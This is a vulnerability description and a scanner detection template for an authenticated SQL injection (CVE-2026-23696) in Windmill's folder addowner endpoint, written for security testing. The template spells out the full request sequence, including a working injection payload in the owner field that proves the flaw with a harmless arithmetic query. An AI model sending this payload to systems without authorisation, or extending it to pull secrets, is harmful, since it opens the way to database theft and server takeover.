Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.
PoC
id: CVE-2026-23696
info:
name: Windmill < 1.603.3 - SQL Injection
author: chocapikk,DhiyaneshDk
severity: critical
description: |
Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.
impact: |
An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server.
remediation: |
Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction.
reference:
- https://github.com/Chocapikk/Windfall
- https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
- https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2026-23696
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-23696
epss-score: 0.13582
epss-percentile: 0.96263
cwe-id: CWE-89
metadata:
verified: true
max-request: 5
vendor: windmill-labs
product: windmill
tags: cve,cve2026,windmill,sqli,authenticated
variables:
folder: "{{to_lower(rand_text_alpha(8))}}"
flow: |
http("list-workspaces") && http("create-folder") && http("sqli-inject") && http("read-folder") && http("cleanup")
http:
- id: list-workspaces
raw:
- |
GET /api/workspaces/list HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: workspace
part: body
group: 1
regex:
- '"id"\s*:\s*"([^"]+)"'
internal: true
- id: create-folder
raw:
- |
POST /api/w/{{workspace}}/folders/create HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"name":"{{folder}}"}
matchers:
- type: word
part: body
words:
- "Created folder"
internal: true
- id: sqli-inject
raw:
- |
POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"owner":"x\"}',(SELECT to_jsonb(11*11*11)),true)--"}
matchers:
- type: status
status:
- 200
internal: true
- id: read-folder
raw:
- |
GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"x":1331'
- type: status
status:
- 200
- id: cleanup
raw:
- |
DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
matchers:
- type: status
status:
- 200
internal: true
# digest: 4a0a0047304502202e0bfced3ccbfdbb54334e274c16a2bc75150cde1e2e988ee394881dedc50479022100dce5b349b63ad4c0833e3cb832bdd5cc99e32c77f557ffd93ec9bcc082f8eb45:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.